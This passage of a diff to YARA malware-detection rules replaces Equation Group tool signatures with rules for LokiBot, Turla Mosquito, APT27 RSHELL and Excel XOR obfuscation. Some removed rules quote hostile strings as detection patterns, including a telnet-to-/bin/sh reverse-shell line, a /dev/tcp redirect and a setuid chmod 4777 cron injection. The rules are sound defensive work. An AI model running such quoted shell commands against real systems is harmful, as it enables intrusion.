+            DF 41 82 3B 1A 79 DC 3B 9D C3 BD EA B1 3E 04 33
+        }
+		$decrypt_string = {
+            85 DB 75 09 85 F6 74 05 89 1E B0 01 C3 85 FF 74
+            4F F6 C3 01 75 4A 85 F6 74 46 8B C3 D1 E8 33 C9
+            40 BA 02 00 00 00 F7 E2 0F 90 C1 F7 D9 0B C8 51
+            E8 12 28 00 00 89 06 8B C8 83 C4 04 33 C0 85 DB
+            74 16 8B D0 83 E2 0F 8A 92 1C 33 02 10 32 14 38
+            40 88 11 41 3B C3 72 EA 66 C7 01 00 00 B0 01 C3
+            32 C0 C3
+        }
+		$init_strings = {
+            55 8B EC 83 EC 10 33 C9 B8 0D 00 00 00 BA 02 00
+            00 00 F7 E2 0F 90 C1 53 56 57 F7 D9 0B C8 51 E8
+            B3 27 00 00 BF 05 00 00 00 8D 77 FE BB 4A 35 02
+            10 2B DE 89 5D F4 BA 48 35 02 10 4A BB 4C 35 02
+            10 83 C4 04 2B DF A3 C8 FC 03 10 C7 45 FC 00 00
+            00 00 8D 4F FC 89 55 F8 89 5D F0 EB 06
+        }
 
 	condition:
-		( uint16(0)==0x457f and filesize <30KB and $x1) or ( all of them )
+		2 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Estopmoonlit : FILE
+rule SIGNATURE_BASE_Gen_Excel_Xor_Obfuscation_Velvetsweatshop : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file estopmoonlit"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7ae7a8b7-5e27-5604-8c57-6d60ffa0fb72"
-		date = "2017-04-08"
+		description = "Detects XOR encryption (c. 2003) in Excel file formats"
+		author = "@JohnLaTwc"
+		id = "8a16105c-4f43-5a35-941c-6ee9593b039c"
+		date = "2020-10-09"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L683-L699"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "06293b6f48d2595f3426088cddc4b0c4d1ebc1de90fa640d5b5e806a45a2b6bd"
+		reference = "https://twitter.com/BouncyHat/status/1308896366782042113"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_excel_xor_obfuscation_velvetsweatshop.yar#L3-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c38d56199d34adfc98d8032321239ab20c6eaa8abcafd56f8e1cf24fd3a4094f"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "707ecc234ed07c16119644742ebf563b319b515bf57fd43b669d3791a1c5e220"
+		hash1 = "da1999c23ee2dae02a169fd2208b9766cb8f046a895f5f52bed45615eea94da0"
+		hash2 = "14a32b8a504db3775e793be59d7bd5b584ea732c3ca060b2398137efbfd18d5a"
+		hash3 = "dd3e89e7bde993f6f1b280f2bf933a5cc2797f4e8736aed4010aaf46e9854f23"
+		hash4 = "4e40253b382b20e273edf82362f1c89e916f7ab8d3c518818a76cb6127d4e7c2"
 
 	strings:
-		$x1 = "[+] shellcode prepared, re-executing" fullword ascii
-		$x2 = "[-] kernel not vulnerable: prctl" fullword ascii
-		$x3 = "[-] shell failed" fullword ascii
-		$x4 = "[!] selinux apparently enforcing.  Continue [y|n]? " fullword ascii
+		$olemarker = { D0 CF 11 E0 A1 B1 1A E1 00 00 00 }
+		$FilePass_XOR_Obfuscation_VelvetSweatshop = { 2F 00 06 00 00 00 59 B3 0A 9A }
 
 	condition:
-		filesize <250KB and 1 of them
+		uint32(0)==0xe011cfd0 and filesize <400KB and $olemarker at 0 and $FilePass_XOR_Obfuscation_VelvetSweatshop
 }
-rule SIGNATURE_BASE_Equationgroup_Envoytomato : FILE
+rule SIGNATURE_BASE_Lokibot_Dropper_Scancopypdf_Feb18 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file envoytomato"
+		description = "Auto-generated rule - file Scan Copy.pdf.com"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d1a43c98-9448-5a03-824d-5cd8e959fbf5"
-		date = "2017-04-08"
+		id = "64c45d91-4e18-5fd1-8d93-b5db4df7da29"
+		date = "2018-02-14"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L701-L715"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f15b3b4281ec45a7a71c9bf8b88c60befec665f78b76a615c5912a6b7f94235b"
+		reference = "https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_loki_bot.yar#L11-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b9f10a09d91c10731e34dc88f87104693cdc794ddc3c63ee382f976d0a75f30f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9bd001057cc97b81fdf2450be7bf3b34f1941379e588a7173ab7fffca41d4ad5"
+		hash1 = "6f8ff26a5daf47effdea5795cdadfff9265c93a0ebca0ce5a4144712f8cab5be"
 
 	strings:
-		$s1 = "[-] kernel not vulnerable" fullword ascii
-		$s2 = "[-] failed to spawn shell" fullword ascii
+		$x1 = "Win32           Scan Copy.pdf   " fullword wide
+		$a1 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword ascii
+		$s1 = "Compiling2.exe" fullword wide
+		$s2 = "Unstalled2" fullword ascii
+		$s3 = "Compiling.exe" fullword wide
 
 	condition:
-		filesize <250KB and 1 of them
+		uint16(0)==0x5a4d and filesize <1000KB and $x1 or ($a1 and 1 of ($s*))
 }
-rule SIGNATURE_BASE_Equationgroup_Smash : FILE
+rule SIGNATURE_BASE_Lokibot_Dropper_Packed_R11_Feb18 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file smash"
+		description = "Auto-generated rule - file scan copy.pdf.r11"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9a8cb090-4f47-5674-accb-f233dbb19b71"
-		date = "2017-04-08"
+		id = "83cd6225-eb6d-5d17-a751-51f20db9c7eb"
+		date = "2018-02-14"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L717-L732"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "073496e34dded05be40ee851442f9c0ec998f35e02a5d4221677a195b792f786"
+		reference = "https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_loki_bot.yar#L33-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9ca39cac8dcbbbe1697ef96bde60c522bb9cc190c208483220aa96bc672f325a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1dc94b46aaff06d65a3bf724c8701e5f095c1c9c131b65b2f667e11b1f0129a6"
+		hash1 = "3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029"
 
 	strings:
-		$x1 = "T=<target IP> [O=<port>] Y=<target type>" fullword ascii
-		$x2 = "no command given!! bailing..." fullword ascii
-		$x3 = "no port. assuming 22..." fullword ascii
+		$s1 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword ascii
 
 	condition:
-		filesize <250KB and 1 of them
+		uint16(0)==0x0000 and filesize <2000KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Ratload : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Turlamosquito_Mal_1 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file ratload"
+		description = "Detects malware sample from Turla Mosquito report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "81590569-e81b-5d97-8295-cc6f018fab98"
-		date = "2017-04-08"
+		id = "1395509a-72f5-56c0-895c-3e9f15829de1"
+		date = "2018-02-22"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L734-L749"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "34298175663a01b26e317c31c720f2f4fe93a5c7e375c9642664479d8672e8cd"
+		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_mosquito.yar#L13-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "22d799531986c30da19943f1dda305e61a305083478549e93c0ecddeade77b39"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4a4a8f2f90529bee081ce2188131bac4e658a374a270007399f80af74c16f398"
+		hash1 = "b295032919143f5b6b3c87ad22bcf8b55ecc9244aa9f6f88fc28f36f5aa2925e"
 
 	strings:
-		$x1 = "/tmp/ratload.tmp.sh" fullword ascii
-		$x2 = "Remote Usage: /bin/telnet locip locport < /dev/console | /bin/sh\"" fullword ascii
-		$s6 = "uncompress -f ${NAME}.Z && PATH=. ${ARGS1} ${NAME} ${ARGS2} && rm -f ${NAME}" fullword ascii
+		$s1 = "Pipetp" fullword ascii
+		$s2 = "EStOpnabn" fullword ascii
 
 	condition:
-		filesize <250KB and 1 of them
+		uint16(0)==0x5a4d and filesize <2000KB and (pe.imphash()=="169d4237c79549303cca870592278f42" or all of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Ys : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Turlamosquito_Mal_2 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file ys.auto"
+		description = "Detects malware sample from Turla Mosquito report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "abd120e7-23f8-530e-b21e-c50a2b571332"
-		date = "2017-04-08"
+		id = "d23d9fe1-26e3-5012-8a88-61ebbc3fbd8f"
+		date = "2018-02-22"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L751-L766"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4962cc732ce3dea6dc52c7d91ce94089eb4498ba4c442ecc6363ea75de47de31"
+		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_mosquito.yar#L32-L52"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f1f93d3bc1c4bd55fc7558716a0a1eb7a6c4c2381a4532d37f4e3559f7c809ea"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a6387307d64778f8d9cfc60382fdcf0627cde886e952b8d73cc61755ed9fde15"
+		hash1 = "68c6e9dea81f082601ae5afc41870cea3f71b22bfc19bcfbc61d84786e481cb4"
+		hash2 = "05254971fe3e1ca448844f8cfcfb2b0de27e48abd45ea2a3df897074a419a3f4"
 
 	strings:
-		$x1 = "EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\"" fullword ascii
-		$x3 = "DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1`" fullword ascii
-		$x4 = "FATAL ERROR: -x port and -n port MUST NOT BE THE SAME." fullword ascii
+		$s1 = ".?AVFileNameParseException@ExecuteFile@@" fullword ascii
+		$s3 = "no_address" fullword wide
+		$s6 = "SRRRQP" fullword ascii
+		$s7 = "QWVPQQ" fullword ascii
 
 	condition:
-		filesize <250KB and 1 of them
+		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="cd918073f209c5da7a16b6c125d73746" or all of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Ewok : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Turlamosquito_Mal_3 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file ewok"
+		description = "Detects malware sample from Turla Mosquito report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "379c233f-86f8-5116-a15c-8a80b27daea6"
-		date = "2017-04-08"
+		id = "c83e0a93-3f8d-572d-ac1a-92fef0b3d3f6"
+		date = "2018-02-22"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L768-L784"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d10d75885daa8cd20e5d7d7e142d1e7a2dbc10a50debf7892629f67b948bbdbe"
+		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_mosquito.yar#L54-L77"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0f59c130b500625466da0c8b5bfd84051ee59a3b6261ee3d990d4c355b10672b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "567da502d7709b7814ede9c7954ccc13d67fc573f3011db04cf212f8e8a95d72"
+		hash1 = "443cd03b37fca8a5df1bbaa6320649b441ca50d1c1fcc4f5a7b94b95040c73d1"
 
 	strings:
-		$x1 = "Example: ewok -t target public" fullword ascii
-		$x2 = "Usage:  cleaner host community fake_prog" fullword ascii
-		$x3 = "-g  - Subset of -m that Green Spirit hits " fullword ascii
-		$x4 = "--- ewok version" fullword ascii
+		$x1 = "InstructionerDLL.dll" fullword ascii
+		$s1 = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" fullword wide
+		$s2 = "/scripts/m/query.php?id=" fullword wide
+		$s3 = "SELECT * FROM AntiVirusProduct" fullword ascii
+		$s4 = "Microsoft Update" fullword wide
 
 	condition:
-		( uint16(0)==0x457f and filesize <80KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <400KB and (pe.imphash()=="88488fe0b8bcd6e379dea6433bb5d7d8" or (pe.exports("InstallRoutineW") and pe.exports("StartRoutine")) or $x1 or 3 of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Xspy : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Turlamosquito_Mal_4 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file xspy"
+		description = "Detects malware sample from Turla Mosquito report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fcb7246a-d613-51d7-a4f7-f767fa5f79e1"
-		date = "2017-04-08"
+		id = "1d5c32b3-0316-525c-9386-222917144251"
+		date = "2018-02-22"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L786-L799"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "94ab45d6c94c63c5c9c68ee3d509143af4eb574058c0cd4f26eed8058dbd9213"
+		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_mosquito.yar#L79-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4765b912258491f38c03513204d9af8bc62c37df2fe583e371cbbeff6fc12298"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "841e065c9c340a1e522b281a39753af8b6a3db5d9e7d8f3d69e02fdbd662f4cf"
-
-	strings:
-		$s1 = "USAGE: xspy -display <display> -delay <usecs> -up" fullword ascii
+		hash1 = "b362b235539b762734a1833c7e6c366c1b46474f05dc17b3a631b3bff95a5eec"
 
 	condition:
-		( uint16(0)==0x457f and filesize <60KB and all of them )
+		uint16(0)==0x5a4d and filesize <800KB and pe.imphash()=="17b328245e2874a76c2f46f9a92c3bad"
 }
-rule SIGNATURE_BASE_Equationgroup_Estesfox
+import "pe"
+
+rule SIGNATURE_BASE_Turlamosquito_Mal_5 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file estesfox"
+		description = "Detects malware sample from Turla Mosquito report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f2e8b8ba-af09-5e7c-a99c-4f620a0917c9"
-		date = "2017-04-08"
+		id = "9f3a35c9-b0f0-5ca6-8b34-19e2d45305f2"
+		date = "2018-02-22"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L801-L814"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bfbc8ac62dcb61b492b1803de535f51ceb54ac83e45071270a6ef5faeaa521b2"
+		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_mosquito.yar#L92-L103"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5b0366194410f36c47dd41f6a36c45edbce75e3ddad19520b17bed59513e1dbc"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "33530cae130ee9d9deeee60df9292c00242c0fe6f7b8eedef8ed09881b7e1d5a"
-
-	strings:
-		$x1 = "chown root:root x;chmod 4777 x`' /tmp/logwatch.$2/cron" fullword ascii
+		hash1 = "26a1a42bc74e14887616f9d6048c17b1b4231466716a6426e7162426e1a08030"
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <300KB and pe.imphash()=="ac40cf7479f53a4754ac6481a4f24e57"
 }
-rule SIGNATURE_BASE_Equationgroup_Elatedmonkey_1_0_1_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Turlamosquito_Mal_6 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file elatedmonkey.1.0.1.1.sh"
+		description = "Detects malware sample from Turla Mosquito report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d8915305-2ed7-50b7-84d0-b139a6d3481a"
-		date = "2017-04-08"
-		modified = "2022-08-18"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L816-L832"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "756337ecb951357c5440ea2fe010982089539c35dc556288d61db6de22348c1f"
+		id = "1c320b60-ec7a-5f87-b871-f55924351f8f"
+		date = "2018-02-22"
+		modified = "2023-12-05"
+		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_mosquito.yar#L105-L127"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9ca6ae4313ad8f009b17188aa7184ff01a4b7e35926f3f68dc3aea12bffb9bb1"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "bf7a9dce326604f0681ca9f7f1c24524543b5be8b6fcc1ba427b18e2a4ff9090"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b79cdf929d4a340bdd5f29b3aeccd3c65e39540d4529b64e50ebeacd9cdee5e9"
 
 	strings:
-		$s1 = "Usage: $0 ( -s IP PORT | CMD )" fullword ascii
-		$s2 = "os.execl(\"/bin/sh\", \"/bin/sh\", \"-c\", \"$CMD\")" fullword ascii
-		$s3 = "PHP_SCRIPT=\"$HOME/public_html/info$X.php\"" fullword ascii
-		$s4 = "cat > /dev/tcp/127.0.0.1/80 <<" ascii
+		$a1 = "/scripts/m/query.php?id=" fullword wide
+		$a2 = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" fullword wide
+		$a3 = "GetUserNameW fails" fullword wide
+		$s1 = "QVSWQQ" fullword ascii
+		$s2 = "SRRRQP" fullword ascii
+		$s3 = "QSVVQQ" fullword ascii
 
 	condition:
-		filesize <15KB and 2 of them
+		uint16(0)==0x5a4d and filesize <500KB and (2 of ($a*) or 4 of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Scanner : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Turlamosquito_MAL_Oct22_1 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file scanner"
+		description = "Detects Turla Mosquito malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b2f9c534-0ca7-5223-b85e-8e74c3cfa6ff"
-		date = "2017-04-08"
+		id = "f5ad0c0f-81ca-5157-aefb-ead049ada30d"
+		date = "2022-10-25"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L834-L849"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b0454fd41d3591fc5811da6407a422b7c28d0b923109cdfa85b337cc7fffb178"
-		score = 75
+		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_mosquito.yar#L129-L156"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fbaca774d6398aac7c171a5d87aa456a1921c1b80449d06f392b088db33ee845"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "dcbcd8a98ec93a4e877507058aa26f0c865b35b46b8e6de809ed2c4b3db7e222"
+		hash1 = "6b9e48e3f4873cfb95639d9944fe60e3b056daaa2ea914add14c982e3e11128b"
+		hash2 = "b868b674476418bbdffbe0f3d617d1cce4c2b9dae0eaf3414e538376523e8405"
+		hash3 = "e7fd14ca45818044690ca67f201cc8cfb916ccc941a105927fc4c932c72b425d"
 
 	strings:
-		$x1 = "program version netid     address             service         owner" fullword ascii
-		$x4 = "*** Sorry about the raw output, I'll leave it for now" fullword ascii
-		$x5 = "-scan winn %s one" fullword ascii
+		$s1 = "Logger32.dll" ascii fullword
+		$s4 = " executing %u command on drive %martCommand : CWin32ApiErrorExce" wide
+		$s5 = "Unsupported drive!!!" ascii fullword
+		$s7 = "D:\\Build_SVN\\PC_MAGICIAN_4." ascii fullword
+		$op1 = { 40 cc 8b 8b 06 cc 55 00 70 8b 10 10 33 51 04 46 04 64 }
+		$op2 = { c3 10 e8 50 04 00 cc ff 8d 00 69 8d 75 ff 68 ec 6a 4d }
+		$op3 = { e8 64 a1 6e 00 64 a1 c2 04 08 75 40 73 1d 8b ff cc 10 89 cc 8b c3 cc af }
 
 	condition:
-		filesize <250KB and 1 of them
+		uint16(0)==0x5a4d and filesize <2000KB and (pe.imphash()=="073235ae6dfbb1bf5db68a039a7b7726" or all of them )
 }
-rule SIGNATURE_BASE_Equationgroup__Ftshell_Ftshell_V3_10_3_0 : FILE
+rule SIGNATURE_BASE_APT_MAL_APT27_Rshell_Jul24 : MALWARE RSHELL___SYSUPDATE FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- from files ftshell, ftshell.v3.10.3.7"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6a2db0a0-386f-5ea6-b0bc-e28ed2fd53d5"
-		date = "2017-04-08"
-		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L853-L871"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1eb7915fd057b2cc5f788ca11b3c71210ce5e7ac29c52790c249490435e62926"
+		description = "YARA rule to detect RSHELL of APT27"
+		author = "Bundesamt fuer Verfassungsschutz, modified by Florian Roth"
+		id = "67c8ac4e-8e2f-5cca-90cb-5d5fdf6f86b5"
+		date = "2024-07-11"
+		modified = "2024-07-12"
+		reference = "https://x.com/bfv_bund/status/1811364839656185985?s=12&t=C0_T_re0wRP_NfKa27Xw9w"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt27_rshell.yar#L2-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "be5f6281d722bd07e53acd459c794fe3ae870a05ed8979de4c28d357110617bd"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "9bebeb57f1c9254cb49976cc194da4be85da4eb94475cb8d813821fb0b24f893"
-		hash2 = "0be739024b41144c3b63e40e46bab22ac098ccab44ab2e268efc3b63aea02951"
+		tags = "MALWARE, RSHELL / SYSUPDATE, FILE"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		malware = "RSHELL / SYSUPDATE"
+		hash1 = "0433edfad648e1e29be54101abaded690302dc7e49ad916cfbbddf99b3ade12c"
+		hash2 = "10bb89fdf25c88d3c5623e8d68573124c9a42549750014e3675e2ca342aeba4a"
+		hash3 = "2603e1f61363451891c97b0c4ce8acfbfb680d3df4282f9d151ecce3a5679616"
+		hash4 = "70dac42491f8f19568a5d7b1d10b29f732a88d75e7f2bfa07b23202bacadf56f"
+		hash5 = "b988a6583ce40f07e5fc8e890ae2b1c84a93db8a2e3ca8769241b94bea332a7a"
+		hash6 = "c4fe1e56f601d411e2385352606524fb8bbf773bc2ba14889a8de605c2d14da0"
